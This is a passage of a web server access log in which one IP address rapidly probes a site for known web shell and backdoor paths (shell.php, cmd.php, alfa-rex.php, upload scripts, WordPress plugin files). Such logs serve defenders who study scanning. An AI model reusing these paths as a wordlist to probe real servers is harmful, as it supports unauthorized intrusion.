Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:51 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:35:51 -0400] "GET /ymhrwpmq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:51 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:51 -0400] "GET /yjsmnati.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:51 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:51 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:52 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:52 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:35:52 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:52 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:52 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:52 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:52 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:35:52 -0400] "GET /wp-content/plugins/erin/pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:35:52 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:52 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:53 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:35:53 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:53 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:53 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:53 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:53 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:53 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:53 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:54 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:54 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:54 -0400] "GET /wp-admin/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:35:54 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:54 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:35:54 -0400] "GET /insert_activity_db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:54 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:54 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:54 -0400] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:54 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:55 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:55 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:55 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:55 -0400] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:55 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:55 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:35:55 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:55 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:55 -0400] "GET /crack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:56 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:35:56 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:56 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:56 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:56 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:56 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:56 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:56 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:35:56 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:56 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:56 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:56 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:57 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:57 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:35:57 -0400] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:57 -0400] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:57 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:57 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:57 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:57 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:35:57 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:57 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:58 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:58 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:35:58 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:35:58 -0400] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:58 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:35:58 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:35:58 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:58 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:58 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:35:59 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:59 -0400] "GET /wp-ncludes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:59 -0400] "GET /.qiodetme.php/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:35:59 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:59 -0400] "GET /wp-admin/maint/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:35:59 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:35:59 -0400] "GET /wp-admin/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:59 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:35:59 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:00 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:00 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:00 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:00 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:00 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:00 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:00 -0400] "GET /saka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:00 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:00 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:01 -0400] "GET /.well-known/acme-challenge/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:01 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:01 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:01 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:01 -0400] "GET /wp-content/uploads/GzyYU.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:01 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:01 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:01 -0400] "GET /wp-admin/network/gzak2w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:01 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:36:02 -0400] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:02 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:02 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:02 -0400] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:02 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:02 -0400] "GET /wp-content/uploads/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:02 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:02 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:02 -0400] "GET /wp-admin/images/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:02 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:03 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:03 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - 